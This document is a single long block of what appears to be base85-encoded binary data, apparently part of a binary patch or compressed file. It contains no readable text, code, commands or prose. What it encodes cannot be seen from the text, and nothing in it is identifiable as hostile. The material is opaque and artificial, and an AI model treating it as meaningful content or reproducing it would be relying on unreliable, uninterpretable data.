zEC4|j1J@AF2_gzK;H}(K7OG+6Ea9(4+Z(>+%og}yRW=SfD9_fT{Z>FvMn<_cN9qE} zmF8tJA1aX@HMHO35!?@MB?`XvY~M~=m10xw@p1>d1C$@Zh&^o&FFMk2eC#_i28_nj z)jd!Yt@^d_F>v#RN>=q2H+7L2G^vQ%7994p#zSUL@AhW8YNYN{BjA?cvyv)vuh*BL6i@_;2J3EIZ92-z1bkOAvHQcdu!p! z#>|8d4ARfknZMNqkD2Pgxg(FSh!HkHT^70O<2*TNRNcaye07Z*egEoaRl685G?;(v34@c!rq#rVPA=q8w7fB_o$FdU9Z2P?`BSXsawkRDFIOY+7cdD;z@$= zTR_5KE|%&?tHQgkc9a&*8J>0=(63YQTD1bc0fnumF~f`jv04Cc`=-HAy(ACDL?r3M zCalB=eQ<#2SK652A1SLXaUSLo1$-%A9^&xX&{1%sH^t z6j)a?lAeQ2>c2=>_f2WXdZ^R9=Hd6In8g58pc|*=3Val9VFe$`+ad}Z{dv(&`eO$# z<$8q3aRpABn7Tp92Qa8DbCz)mQkF4mc+gqZe4l9Be!-gpdc1mAFU;>SMOmAv<`^Gq z7;r>ncE}^+B#(T!L_?SbJFQOzZG3UV3^ny)RR!yCd^bj6muY03eTvRDIrY}vC zn!JdzxXvjAum5qeN(=(ZgXQK-xoeI&PeESgL)kVco?bP&m%*}ay6_b58>pteKT*jq zLfP&j!O9->+Lw17Rz4C&cf(PPAku1+DD$gj*K_oUUXpzdqCycm2NfXuJt_zQ0j}9- z1TC?lD-j$^>~*6yuXHE`1M@L%p=M(Zpvl$P-nUW-o736UIEF{K8E{9kBjHI8z?z;q zvrtdSr19I-C_;AEi_9JypY_6WwQdsquvNXt^^T3GurW`a$Vx<16@Y)na;BEJ-9$s$ zbL5POaSeK?OpaxThl4552kx#A5Q^TXQ2_!qk#yHzc{THq8T7sb&bWbl?eplR++UOG zU+x?-v-X&g;WNHfm>u-q7o>VY!>D#T%Sw6Sk{PFpxFvA_?COy(qAwX@yUmh9x zVP!v5bk54UcYWdq^+qx79O&im<$dG#j5=@_?KvT~q}hQU1+ zrji)?!J2ZxTT%G^CgH4Oj5f^5uHaKf`jCCec2?a1wpF~ccSc;>Lw^%u*+pdtvKJZ@$p zlrwkG#3!74=@dQD>SPn$fD8syGh$xTyPJWCnKpmT)DGGFzFQt7YMik96%w06KFs*#@^ zinDcs7WfhCcTi-O5_Mnwj;6!r&=%F?X&Lrhiq0_U#7pyzcI%&iHPw2 zAO!7ZbMkLC-?%JYQbiy#HU?HSA<&@*I6Zo@0IdpxP^Oz%Ojj|uyEao}D}OAU*ywqU z5|4=LD$dk69Asw<_~Iy*y$>C}dP=*nW8uh6T_S0@zUDuw%2w@bO0&3`Q7{jbf(ulV zq(*NFNkQ8r5TF8Oz!U0$cYvEfokVQZ`&u6tO1VliPrZ&;c%;H~n}>MZ;IV4t9>$X& z;2>@~B^~~$6Qq14{Xp8n?7;fR5Tqxf;(ZS|FK;8d3AYO9+bx$t@%QjL-K}YNP{?iL z5<1kB^Il~zszzlQTS!UHIzEN5+LoA*Hep2|8ID(icuLiSZjhbUecx#IMU zeQtM?<1y(au>K9mkGXtxq5!Qo=re*pwnErJdaRZc47}H%C#pGhE>)qR;Ns>mZDc-u z9{Ed!lw;oe>@ok}9fO(5c|0+jKK_H_ZZ?{v<*ytM$F)TZJ;3#9K!1GXSx#QNgex^fac=rhuCU()|5Z)fxlhLCkZ0VP9nH6Go+AvykL~KzDLAt*z z>*t4!E+OMo^z`WX6K7|l1HH)qRp7J79g{NP+S=Aa@)7ZLCEpQtjI(Cyt5fer^}r(0 z*j^OpY=EQ{w(bthaGoKZ5&Y6Z%F$LhW{H?5IoNDr>rdEqgN!2p@YP>3AFs8sic!D7;>68VpPjh}*~t#cfi@ zw(Kt_aQh;-P@Hca#Rz`VOJhrcTl-*UpU3)ZC88kS(6)W6$5q!-kGR+ea=8~=vZ4ZNyTGT5c*=`79zs45- zHB{^Ce8Y;O<@VQYF+|h*me9Be0YzYhzftdI%bnqYf}^=ss*b%#`%jP-!!~w z^P1CFx0}A3^1XrRlVds?5g`EiwSkRxYM-*5h_&}NXe}Z zL#q5t!HL0;D-KZGy_o)2jqOG7cH;ZjDjP?Ep-m$P=3o8wjbJRbB~`NXM#GhbyX2nz zlw;q7m(o5R%KUknvFjRY-^-?T?QG(S?9Tnvrb%Q>a1PivmU<;|zQkA4n4W+zu@*Ix ze*qt1CYFB8$L+rj1N~)elrp=p1=djTtuvN&U+Y+lP1V1-Q5(p|CU_kvzfsS3vZ&3DCwQjYe2j(61)|LH+e|Dgygob6oBX{Kx#j;zKqT`uHOFIi zunMQOu8Em;Ms z?*iC%9el4h1F6l}dMDk~nhy9H3z$~%y{6L8PB`>*H62JfmqqWIsz^^M8poT?&N_ z=z}3o4Nbc7iPV1_*Ji+jU~WD-HS&wG7dFUs58Q_~*vH#!SPzM0>X>BItjzdF+Aax0 z`*Ks~CgILVT+qHYY%Z4FkwiuPKO0Z!O)45(#$i#tg*W-T9K#2-9xy$_@zmJ@TYrfD z-OM4x;0S$6RJc0MBk&YG&)cfmu8q|FFY~)d(G0NqjwHojeOn`K1vvMyKf9yE^Qh!4 z0zkVBgm~!-Q!BP$lRSGD4BHpGv|tzB3;RNL)9IY=7IuE4d2^gq>do z2>LJT@I}y|e5Lq&nsg;lc9k47k7B_0MU(ei(D%k#i4Y8W%&gLojKy6W8Ct!1B$^<5 zbCzcTHkSlwn7rZ`Y5Lz_jOHDY{(L1_`I{!#eoz#)*XRF$9Zi`0)$k*A#P^fHXkgV; z_{9c=qFjBOFjQ^i^%vg5_o=;))uBd@L_yp0B-L{=E|XPsWy(t6t{ygE!`lOW^pJjw zaT59knyS!TH#Dyj`0K@IL&*P`!rqJ$Mf$EvxXYuzTE^Lnirh*Gp+y7g2jd=c{pcr~ zekz<(3B1E`!%n_Xt=OLXI6&#{kaiIF{ypX?4Ve2&!@zJ*0s`;)P>o{*4fOi_%*Oct zXN(FISTkUy^!kLMTc#WtbVUISKn!Kx2@dD1Jx*lruIFR^VY{x9enmy=Xcg;f69>L+ zl!$@xnTWLZ2)dR_x?LbMa$Z#Udm3{nW>mi_8nfnlmfwHzLC_~>Zz=r;)UENAzk6J8 zM8U;j5O1!zCcu-gtWBPUS;Hh=9~2Npntq1PHN=$ zcR~t{puq}k-Tx8)PzGp$7@!cG@fCDyjPxP!%1^&f(GGcc(*~cw>g!=u7r`z9u^83q z;3d0mQS~+JjVHAci2+JK;xn71j_HJ;$mC4Tt-?#-Q`qlh;(wgT%@akP{?dj;Myf!^eBXGl~B{ZdKRr=KA3V5yJnpOuncjvE3Rwi#+W*@}I7 zL;r0jJ8NQB+CS3N6pGf?*wAWfRH>D1(ALKQ%^+xyUv=!n!!)-!rb>HuDIons87Os-hQdq7lOT9zkCt4RU+ zMw8;m71^h(Q>GQPalD~eii$bwRBLuB@J=&|CdF7GaR95+)QAztW-MRm**ja8WF6jz z)&gEFjS#=MxWa)Qac6$Pa(wl>GU;(^IVUJkXcMhyd{}EGP~TBm$PEg%YCP4nn-N1p z)SOE@ya=SuaFjj}X*0NohH<@J#1R00f%#VI5&LwfbZJ66` z=+7E~cD0phI}6)5hwj@>;vJJWfx_!><1$N$bVc}Qbz5sv%O{#gTsXEY3{3>^tPurX zw{NGMIqX7e(Gb1{21u9E?;J+DRv2Ld(wm3r(%oBme_VY$_77yIk~_IJX-=j5OW>eP zc`=uGFG?pc61#NW!UbTrNtD5^Yqtf(XE9ZEn7uo>r(R`gY{Lq7IaX~&wdwGb4fw_C z_5Z+~j8$)Tusy0)yVYJ#;cDG|hV*!O93X>0^iyw%?gG4^NtY}_f1FY@G=xc=Ea{1_ zj<9fZ$~&{CXJ}z!*z>Q*=o1>r${K3W#S#CN6?0gb(YnC*nmh)A4kTAI*%2X^8P%cv z{Xam;uw%-X=7v>F@1$@OkRwe;e6Gp0fV%ks3D_<{!6;6WyJGX`-|eN}{3{C^A!C{M znNBAZWHWR_3il2(6*(4(EikaZ3us;DDQ;+x3vUMbM987X&dt(Bx}meR7Vm;dVP{rC z>l*;_MxGWGeixB1M#xE88KEE z@)zbrxjH^h>B5^kP#o-8lHm@p(_$_$+60y`U{e7}RZJ*{d+p=BnexQ|w(3BEy9v^- zqbjw(z)xHkon|3lXp)0wBdgCS6oehcS4v%qiZ$ZlrwBxe1z2!j(%90a+gm(D_&#H4N)TKSa#X>YKSdY{h27s-u`)`b{!J7ofUS?>}r& zJM7|oT>1jIwAQ3Uj;#5@2O;V$D$iko@NCsPw4@uJ`8uTHEBa`UgWQcYY+C9P2B1!80ly*js)BBL7czvC ztUTsphFSLsXW$i1ufk=%$)=PY#C)VeLwr$ty}=(SM$m@`&_Q1L{1gNka8qqU{J={K zI2%Y*a%G3ry6Q=S-6!c+pYpvOmJ@Tb#RuAKyg^08Wg%3=et(DMy@S<}gxoRtN2M~w zO>3(da0RLntOR4k-o1?`+LoP?J=JlA0NMEl`nkJN40<}D{&2Pay0@@cZ*GUlqDtxE z%zW?VxKVj_&9V0X*F{7IN#lmH6;JqAR3%nw(k~7%jJ1pFz)?2ml;YJ@7iZCN?l=cB z_*3nY%4b!XvSS@=41mm4=R7D-IN${vGlJ_*^nC5_R|H8fnlP%(WS^z{R=vC55Kj&v z{cV@hErRJgU0WbyTty_P;P{E993FOrimolQ()kZRd;paF{#qfJd7QR+2APOx?8!{K z@Wf}W@TjuKb%l@Sp${mv@YlGQYh=_SGe{qD{>Sc&DjadY_W-bcSOI@WL0LRBw<1o` z6zwyH_7CPdW=J1A6_r5B0x;&qa_+@i!I>0}FL2%xUr9uc>>+xrj5}NKgr{5`?bLUn z37B$16}rl8GQdvB^{K%1Hdu7HR!TCw_C7M8BO_{*X_Nu?Qg{-Xso8;FluluKh74^@5^AP>O$XN0cgo z9};$VJw4)@aKD`m0)bz|FZ{rmvNx^P_UER*tfIdO_QB09sKo!HGP@EaYl5>yHcOem z9>ULU69j`@-hl5lPOb+ABlYsJ@xa*6UEnsS>HKhkp}An!)Np4R2fP4x-ig`k*4UxU z?fN0`-L*0)gJbqfp=i8+5~w+}YsB{FX>Kh7f;8;tpYPS!N_W^T9;0VNDg?OAd5!~Y zz$TgReO^%96*9X~&F2JIM+u>^FQg$E+!?`HV-uRCwH14CW+Kl6;Q%N)a96{z6T|Os z%wU1Ll3Ca@obT%er3@cs@N=ema3M6IjVAsf;vS2z-r>>Td_bL2ocJ7&bX{3X=sZf&3sAz?de>9e*^jUd#*!9 z{#oVcuT_)T#*g36oErFZqd?*wCon7H79JeyjtU2EEW+^4OuDG~RoRcW;VmacyN<0F z_MV2%NE#`R_`gjhXmv^G8UcO;Z1<4>dNE8r|oIxZGIVVXXIcJfm zx^&Gi#)St(o56_L0g+eqKI)UVdHyB!{}=6I-WemM)f0TsbcrhvEEFl}$!g4+c;G zu)5H2Ddf6b4Mfn%XwWV*$PC%<(8{QizhvN7HR@+`iDu5pk_k29@E?iR1(y{H4s~fBjV)>Z_h*kkxXbxfU?jpxuk|E;bB zfQBZqyfY=<-+C4R;Ae@14_rSiSMoWb=H%^Q2FaD4a?qzUkEuu9qTQ&>j%ujnp$W`zUI+2&8 z0YLo+!zlT+f5-0(!{lt56j0apDOa-I8)F?D<5oWqRKFsrNhv=r zs5?q!qIt(rQ`mA`$V6M%L|4yIKf%$c)@?S?a`xDF@js#o-rpfo03a4~oim1oGiF&N zl2sXH)58T&xR*0B>?=p)vPcZ8atxbojI~!nL2}Awat0UXZxMjFEOHsb@;t)|J;Mq- zBR4{0Y?2cS3R7|!|^3S;Y z#{~Zw%wn;4>U2UF8E%`}p-Tz%s8y8f&0wIrsg4CNSr3Zr;yb=OnQJPXM~fz zWJ*USh%zV1oQq0}R0|?r5J05BmYf(+mE2JLix~i-1xZFE$jSxD{`JnP2Ip3X3l9I4 z-v3JbfBJ(O6GRli>lOWhLmXUa@TSIGiGuK*_{3RZ#`>_NCv0*+chUb`SH z#!`Ab%a&K|-?(6fGNi|mVL%zm7!eF*`FBB%T zHUYIz7CG`ff`8ZgPY9CCG)~Y0&ij`5zrRT&%n}CB%OVMoP7t|la23+364=53Ff~l! zfCT;jS@@qFQh-n_;KTuS*j>TB1og<;TL}_yMkLUAFlaPTVUEkME0@+bb4Ejg9}8## zfZJKYt#(B|CdW4AMi{H|xP&^TZOXb=hV6#~iOXSU+oT}mH3ij@@@z3&ylT2skiN2X ziS~fJk6%Gha4|NJ!2%3nW`-$iUKuyS@(NS_X+?fiP)%D`IVR6515%c3Q}QsC+-e6B zmrIn6u5Qr3k};Sqs3UbssI=~++n380pdK+>jek2G*HP1TGeL&s*`{DHm{KA+bxNpB zlW8~q^;g-p7)(*)Eri--b8aSvxR+mu+3w><=|U};=qJD~t86z`5^LyAL-`4o;PQ>T zAHq5*1EeNLWW`2sg_n;85|N?aGT+2Pa{$mrlSirD$IH%~gP`kT4WyJ|XUiSa!XR_B zv^c2(byT?6-otAYdq~x(H|3d&w?|M>l? zRFGbvrmJgG$^93XTaCPzXoJx557HWMIT&4H&62jZ1fmFpGvjGD%b5g!?xxb6&y@gt z!^Q(ySoC^|BAj$Y+=3Qtm+K{pCLkJ8$t@8wgv^0)TKLec_z(7{07?+cM^sE*DpXS_ zYv=(%=z+hl|9)s)=KlNj{}#jpDQAB*wEuYEfD>I2@ayiUaq# zXWK&8d{?hKs1??HvMZ{fF}LU9sirZH=)`|y z;lPvk*^ZFup~9Jd zS>tkx#F-oLHy5G8k()#LuN_liPTVD=B?FBXBGlhb0b3x27AI#er3yYXlnJHjs1Upjq=1<768BI8Dx45?8AKrEm`3^rt?t#w?+BLz_?f){xwP&Vwo)l zH&sqto_HFWE}EQA&+ff-A%&!(G(e-H0f1xU2!OUF@Wln;iiNF65703}yCG<`&Q~FwQYCMkT^-ZG0_-Gh;L3OLLQEp|Kg#oI0*N_546`e}t3E4GFai z015a8eV{QQCm$VnY+>Wz&x^D>eD3FJ7TlFTeo@mczAhkOG!vw zF#WtByr2-2m%g}lLG|Z?-~w@hkXXbk`XdQF+V}McYb?j!X~2>aUyPzx!~7;iD&n6RMc}ToPmuaC`z{aB;T1JB^ht+Za`39EufP7R zH@46|ynFHce0zItcv>_($f3+Ne@$h-RjZs0_75H6QQvmwDB!*j&2cYA~;b8_ks zc?`*%qHb3}=o>_mYmsH+^?kDxw}*o~o^)e?rF%cPG8%?@^6@kChbJT`|L4^Z`v{{0 zn&aoOZBk71UTUM+m)c-$dZ5-o^0)Qgtmm5{_pWFIllUl!vLErM$}o9S9fKn0e)D%ofbOP>_U22^-U|x$EY@hig3ghwSbS=6{G=5 zFX41FHfVdFL0)NC^e-=SdN`KpI34K&9^QLxD3@|a4I2kjxWsf3%Qsm+R3K6Z*tivO3o?-qd8uvt5<;~p*byn{Y15_`h)ehB8v-K0|N7|N!rdBt7`LIc+fs;kMbN36bzV6M!5oXz(k z+cWW{_{4d$-XMqE_|4bBa+5b-^EGK+5h8f`jSFA~!~7o{7lf86A3j;m^+tR-4*bOU zvj|(rKyK#dZm`14&5gB(Zv7lUI0prGmQE=OB84$5#Jf_hM(wpctONaN!cvp_)0S5y zriljEB&UlWg}Ya=+q2o45};BYi+USQZZGU#v>bcF zZn@Aa_)&H%@sr?W0Mom{pR+qpw-vX{Lvc{=MbyLBgfEP5cO75komEThAEYj>96T$U ze=piL`Dxoj>vysOwcN$c^+r6o=>ro{I+L;m{Dngy%_+GotK%QoirnD-qOD;iuHxOJ z6G>Z}$8%4llIHS$_cy9>Z)$8)u&tW79WuA#kv1yLb45wri`QSDUO3q-wwi2sU+wo2gV_y&`bGNFjp=(oyk=$}{iIgI5g81NFJx%*^3~pD-0Nkd2I%{x zay7%M`x(V8jXd|u${uC9zc@`U9;WRv%k*_W_Uu(js!Ek;>Mb)tW!@k?>OcFb$8`JG z*va5KuQcmM4njggPjT_8n9uSHFV0SnmiNC%Io;j1_eK(N`D>MN$t^v8n30G_p-}tb zhQ{om3}`D5$s!dD6~&^H8KKK%v;xuZFG$!pv8ocXX`3xUaDq>u109QnjL)U0vKir> z1Aa4SQ}-lqFeGbkZLyhdS{{@cZHw8m$P4*m2FZG&4^L z_BRyLuq>@O0OV{APfCfU?QI7M!P0yi9de%PEgDkWEGMtCzJ-2H6kE$QjG0$9(9l(P=Fm7q zhZC@{zfBE1Q9nQb)QSJa9q;X{iAM_I;T^_xo&E_UrTWZE$_SflW}i9QNQ@fPsBzH8 zvAD>2uM81zp0_?c6Z zlqhCML#431^WwqNufZthP|nI!d{xb2y>7h@tZYn%9asJp9X_Ffs;0hC7&`x!T6*b>|xhaDMH6;t8GkQv;%qSPN6{Fk61Q;;8~v|z5+e#=P`Um1ZCN{&sI`s z)}omNt;no%yG4UHn4o5}v>8we$uk;SY_e<4Y9X`As4 zAwi%++I5#ru?3sIM}}#VFFbD-%`)@&5@{W_!|}xyA(Sli>Ubq_m88?@j}8;DE|uoc z=3CF$p_C3{hu}qiasCLB@uG>*d;U>J-X2cUWM$(YwRE!N*D*LqEPMo30Zewu#puMt z9#F(kx6DE~`hq{`gZEKq7PdvxzK(AIkRP=ro(7Zjpfqg4-t1yc{vmpsC4_@RshFte zgeQALWbfksed-YGPgl9X-Tct@s7d3a47Zf~OD|k3+!VOlg?F@G2c2_UG=7(7Ir|vI zQgs;lUi#@I*+>XJ%aR(y$Wqg35mu8c=M%lE+>6z&M;E`FZ$C*_dvug<`{KpLhy4_v zU9Pu31Z!d+tjuzhTtMnx?|LVd8h>-A_Ltg#drV}^IH(xKBeOis-Tn=3#=W~gyrk-9 zhF;8*KB@h^`A44#pEgMM`uFSJq>*Zahxx2ifUf@in}b?=6(+UTfL}+0CEj>ETQ~8{ z)1~&S$67xeC+fRhT$;@yYCXilG#gm;S#+pya1iprUIzf(!$N_tiIEAu&hvD1Vfv%Y zEIH=u_a8$xLZ*pJUrpF=bk17t)^56&>fPQh`edC+HEETHdo`+1Q(1a*TJdEkZVwKf zSH^p?x~8hMy3^eqSu)kCR;XNB-HTzzwF9POzV35ektPbe%wfUsef{$m^QxoYX~pN~ zcLyb&i;J2xC9%`z-Tk&)f49jBULHQWKP!Dymoc22zrgl=2p1uVV)W&n=F4*WSWIF$IATxB@H+}K#ZD4lc3*VS#5~hQdWsu-~<{C zm)4AIn)cu--kT)}M1odA$_1M{=gbu~xMkQIa>Wy2X;o*!59D2ZsadEpqOo&xlh zn}(I68c8y2MHDPIv3j5#)RsJ+Tx0cTgXhW(3MSW~)1+B5{)1PAI;N{{aKzBu6B0jG z<^aeI%X_&6L#yuElE?9tz_GYeBQvl7ThQzx+zy65jZJ>yZ56!t)WW5~57)qS)+ z%ZxATU&tUsxfbd!;>`&-fy0>qh4@=*n)k^Q`qxn3rYpy+ktO%fU+UJxs7Y8E%J2e)u zbB$VdO3P0&Bs2w$9rSvmM*43({M#{=S8f*&VDIpIPU&A+qh6@owM)KQQ_8DbF{!Tk zC}3cDsQCBx++BZ(UVp}fx2|E$h5oeXm6r_Xqj-ngltnIanJF(^^p|P^ClORIBkiUaT**uh*z8rrFZ<*KFKerS-gwG zI@5`bep?pDYYj+#HKUP%jaVq$KQ?DZ5BAte?fP`DhFUx+%{O!NxW^@$Lx%lVKTy^L zw3b#}4se|yeYOcgm<0hC$>#|u@WqY7lEIZQcSZMiFI1Bn#5`1XgT0U&+QQ{0i~cgk+lHg{0q<^D>wQhOLAX4LkA`Bh z9K%KJug&BA2%8q{=40ztR&n~ZHde#=8}IxpmTnfpb#eE6@yd&6e+|yEuISGr5lfpI zMm0r}}N{$uUh!YKC1>w~DfHLS|yHz@lHV969UAt-32I=HC zWV&{xRv!p60}BmQGj$+Z5F0>TFg^V>uz@W(g@IF`_jzh_M*L9Br;1xGB}y-lEQQ)P zASt5oivL|ioKA;^ZV~E*r7MD83ZQC;0T5~Npo!CzDZcGhSo3_ea=KD~{kNb=QAu@E zgGM18tv?7!?5AMY&ih1={fDyHA^kMi+#~9ILA~n^(_~JvuwkrZ>YAkM=sD|7>4j%f z*T93!^`duT2X|w2w03r$KM;Dcr*W8129GREzq1_J7cNtNbKky%Vy&7J-}~eZPUw<> z8e;6C@yRVw!T1-L_h&BgT3Hf6a9M1JMs}oS*#w7X9++qI9XX~iYD7i+euTCJfnS^pZWwim77(g1xD`epMQ@EVF+OHPW#;Ol*3SmG0R;SfBu)} z*TZ}x$^L`hCf!LtUlEaR^*a;&Aq~QQ6FWQVZg*V;7*ZrhG#zZhJB|rGb41xB5W;+xv%@CJs zikyo+1@i^z1qozoz`DS>AQuz6D|tcxW#-!j{0n4^puZy^AR_fA_<5yPRMWK)d=lqg zJk0r|lPvrU&A%cCwUEnODX@{9!=*o&l_fJ-^87PRi8Rb~44)Z=ZMPZDRCp>uioh5( zn|);#SI$lC>lHcmBbWD(2Yf%r{e<0j&53KG9tbQl2~;-f@6I+fth){O^(u$z%yzhT z5T?6crC1Z~qV~xY9ePN7=uKnwC!`_zp09J)W=BJK)A{zGTr6J|rGuDWQ%ci;OVr#$ z_R%4Q(M|2zD6Lm21e{N&WADd!T1ouEo8t?!D{aJ)t^n>|_U^cBnvz*Y74J)$wDywR z@x_-3tj51~JJIJyc|bV*P{s0`!s*phwZZ`9=beHV1$y(k=GAIJm=E2pN}3kHFZlhh zq&?EO4^;WgWWtkm$?yp@Qx875M-(FAQa3M*h^^N3IZKmdi0-9DA~ zK(X$3=#KsJr`wZewqomQybmx57zOmZ_XFrh(BEVV%R*@>y+0U)J`T+$Z%R> zD#Mw`1XEvSsSm6Bao>i{D|6;f@<{1-!~3y5@G54k%(o&8TM^VTDm~$ktl+&F*zBnv zw4M9COE0D$`cTVHAMQ4=&?%dmLwZm{v{Uh1#V7JXwpp}JJPd^vrV;)k9OxKq`Te+D z_Lq;VLA-+l0szg|^n6x<8Q$f$8LLY5iGtXTy&N+pr$yK9EtFw96R9ZcA)Jl_M#{X2 zvyk9n@SJxhm2_Q9*r!q><6z_ON%{2nG{H<7$Zd!<966IU$BZe)G;~W4q4iu3>XL{7 zLJeB!s;Q>e)rWW-iK=FO`21W?w)-7??0s(93utgu7c(&2$fcKi7dd;{|6Fo*f$&sy zS>(Lg@lT8%torf>W`VQ%h%W8m<$p{IVf+ZY=5jczaHCzbkL`c?%hV zx^R~x`e?BrOrsbVS1R~@NObBgUN$W^flfbde6VS zSo=elOa7qE?x1jk`b67N%HT+EXwMhD6x?`PD~VTy=5(0GRk=dpCj|^9J3e$t-vx>IFZEy#(%`^d3CCHw!ax zH-b*Xf=pvM{Ri_(jOaXu?Bu(?3O9VVsdawwnCQhQMouOrEpsmWVXvR4uuBcq)ncKQr|yL<}fcQF0m+ z=uQ$cV{DbWX>W~dJL%J}R_gwId>SG#w^Mtll^~RQDADxpu0GQ(qt*@Le6D;kz5$Zs ztlWDDcpiPCxRrTqmA7IWV}_{nnP2c@!S$A>+ufqL33t|Kq1>N6voprrOj~ z4jMk+IKIZ$=x(Nm=^xn^#dLX-+!l=QgCQyRVGPipy#8j=pW#G77`fw^&>#f3J z{njds8%P*_kC^;%55E7V zV0(;mXV`UD;?C*A4K~B~S7zr4devNdZM4_g`)fBw!<3t^!x=@Qaocb+I9`9rA74( zC|)W2;tg?hR;{QAk;l_F9o|_x(RHz3sfzDB67X|2aA5GgMMlOLi#LAFD0aq(4)-DVe zL_7fARBP+Bc|R@Y!|mIrAWUfRL{)eRpGXvoeU7?A>V5odgCKsE&R`h796n$arRuwICEq$Ra+W&|=&{wla5wz={b^^y zqD{ToXH_{Z8PRLXBOX}f1T^YIPI%GD%Gx9i7#S95w5aOQ*At~zJM3QCI}_WS(bZ&d zeI;cCKY7xi)1` zGC1;Czw;fMJ=}LcY?E(K8%VLrkX%&TFLLoyB@_~6Bz^l<-@|4^XaY0@{Rb4zin%z6W()g|3u+iBWg3?yi0ctVu# z*{&}s5%Gi^mP*$0Vh7BcUhEya02_Kh+`@4!{?T=w-+d2VKZdLjh{WAGQm>0`ef~!E z{Ge@#s6a89S(pDFQvDsBG0bS3oM4GkOdy-95IXF?BzfqON-o`XS)uDUMh3>LN;EVe zUlOm$*I`(M=ncjY$l~BSiANFT5)jjlrSk11FTRC;)kfTaX0pKJY_3+TcZJ0dQ^Pi- z?fr`l_@^cW#|Fardu9*j4^?V5@;JVWVolj;>+}Gd2lJfip!yeIuJxDrJ z>wQ0%hb-FYEpeIWieYb=|28XWlFVu-D=Bc#q=C<{d+sE+gvU5~|4#u4VkNj9=gTIsJU1wY;_@?cyxU4EV)J$B=b?)cBR;#e+7uh7_nxDE^YX zOTQDsvgxKNZ6R&=OgI0NBrTI2lk2l|*MBT(MJ9|H{dOvQK0v*C@E19rA_}9H3Q) z{6nZb=EQ?Cl2`kc`BNgS-{P5C2RDlxk#q&pS(5eoGwJW04DN}kxnqhZ(}(L|q$b%g zOyO7fyy2wA{l?5aYotI(2KFTFdi`r2+FossDbXc{2s|{}?@3Ws&Y(~U`FsFIbL+a2 zIE)vdv-XlSm!36Mzke@l(BbsJ!j$H~)_wCy+U%bnX;X)K?^Mhe@3^R*4}W^YLRbVG9^L$n^4`VjUO+x@C45;P z2)K9bU58tvwo(Pt3>Z3t-t|9;xnf;RAim3}9AKAI*u$57pmlq4q@FY6xrzG}4Qsc2onHTZ^LJ5Q_czqYzDh8+gPr)pp-=RF<#gP%qR0D- zp|YgXD+^?qWQ{Dk^8Amk+1*ai`_!%dhmrC0U(O6wmy`S-E5fCSzvu-atTIX$To)9O z(*ibROCZ0Xh9DROQ$kk)c=`FH#D({IKNEMq3x3e`XNX$DlG@|_@vo@%o`<2)I4v%Q zdP7BqzC4TTeo}|2kMhdOe%FRe8o)LZe)5d=^!OcoX-wmFt~M1147~@DDzjz{9pj=? zMom^8oD6&jPVkieDZ#z%`5!|cc2E6M$^I;!M%Q1|iynJ<`($2(%l~LO9H}f3zniv| zHu_6T?W}VjODw@6*@Itg=;>Fa6xCV2BWLljqip>`=E>AY^&*b%m+rW{>R95pVac>? zRQC!nEF>%-jy$>Xx8mYw7@^4d>*o_j9FURjW+u}SbXv9;G-*(-XXCtbJ7ba7Uf?#h z)MDe#*`puoD!yTFlO1^;Lq^ohe6N%Pv$I6TO%l*1THswUd@Rx`bz{?ZP4&^~X}RSi^8L))NO#o$-OtN)$ZrvzHoE+naWW9rxT@o@%e$4tEX+W zEf;rNpZd1=u42lbF5ZoAO0GR~7yQ}kU3VeJ;tuZ>`Z15j6D3OS2{pBD zyuIRz7gVsq=JTz1;o#<7TIJ_Tnt88U&<8j9T|3w9@!^*9EDczDi#j9MVZX7L2(t#q zd;$=q6mKzvgjxDcZYNIr8mBYWE~Fygj~dK=!T@r=c>h~?|9ueJ6$)`tkLAIW?*x!8 zz&E`Z=~Yff@9mf24MV>-OxJy-1X2V9F1C3`tUg^Acti{wt6rDAm|GsCw-)LCvw!$r z3=egeSHB(L@m+nPhR!qf_7mjR4{^!s6%m)7$7Z=|(v3n#+(!MnbyQ0ofy5oT581v5 z35?)g9im&`XxuSfJ6&C$(1AFuGzfzPV8)y(WK!k6-eS+e9v$@F_BFsZ!#}g+1^9DS z*`OuyIYK+}M#&4NMuU|{%3B|Odrg{MUAoC6CzPINi#Ru!`8Ww#5Rf5!16pn z^Z4(u(UP#~R$}Zzfkt6o>~$Z?hV{n1fpj^8UAQyhXV#lQI?@>z8oU1rHDq**d%q#h zj#{6ZAV|hFHKllwgasDJVin7&(&*fG6W?Y|#ai6&7?J2*I9=N$!|xjiv0PhOsX+`!)>XTE=7cmBPH>BcjZpq|+0NnD`W=1aIF zW??NNW{%kIJIdnF`gQzN2Zz95Q3dhwz6|O{bSksD)m^g3C|{?Cv5oI6aacrbXxo0l zc$ZSpFu#!JMQ*W!FTRbZ#EO%#HDouhB#S0^epPH)QF*T9IkrwDB07+eV{_9IyRQ&` zZ62mhRE{3&;U?iOjDf5mSSSL{Y>}K%u?0^&gon{DVagaTdVnwy3xcK|9quhkiHwLC zp;;0e5Uo;7-+o>h`k~(WXhVD8`?j5WaIb07+HwP9NT>GqbesUv@4jp33*Aur z9s66vXX}>f4=`eKbJ8Mn$O5<>!G5i6F*t0sDdV9C&Ab+A+FPGdc(8FK;Z{q+0UVv> zkX;(^VGrAa>=ik-&X3te6lG94-6rD$Y;WfFXxPNG*SJKjITNCfd;OOly2Jsmx8pXn z*Pzb`dH?JHal`MMe2%!O=|O(+mdnRJCcihK(!U@skQUdrLN&*DrJ}82L|Fpwb_mII zb!%9F>B-ZH;1sz$zsziMX+e^io4MNW^+8*WYbgMp5~u2 zSBLz#P!*8l9>}60DYr$7krN|*j!F)$W!cWgOp{o)Sx(;`ZX`V|q2s|2rCt?&TM)U! zCrFErVSGV^#oHkS7(?FQbnDqnxX66@b?ByyPNH##%f^+m=d>FOT0jbwkk1_CE_1UP zaD%qDu|oxKoi5P<%Tie6EoeUZ+F4G|r72@x&KU>U%eWM-fNy~ahV6Pnpj8#t2KnT1 zhFIUcK>}RG>dvvNUR+<-&P*K29&2h;udr!Mv<^EHn{eB&UUGM?*F;QH5G2} z-eg@Yrme{nn-^2Bo~|vde4q6BRW-{oyc^ZyyWgH1T@^TDxU)P^=}mD%X%_dmqmtG4p59pU_8To77e|==r{Om*~R?+ zAy{_YB+fAoSF?Uq7n1yPMom4(t}!&6GxD*f@VL(Yi@O@i``fe!erdC!b-%@S>$Sot zSA4!CRlQ=&uJ#oY;oW(3$n4z;!w2PJ<5yEd#MTL|R(b3E`D5-bimS>z>3HZZXxRCk zSM~Erc+{Klx0>#xB-EtD1+g4YinxD{Y+%cjzpL<5B|nV8AGzxRgEIz8XwErJUvLMq 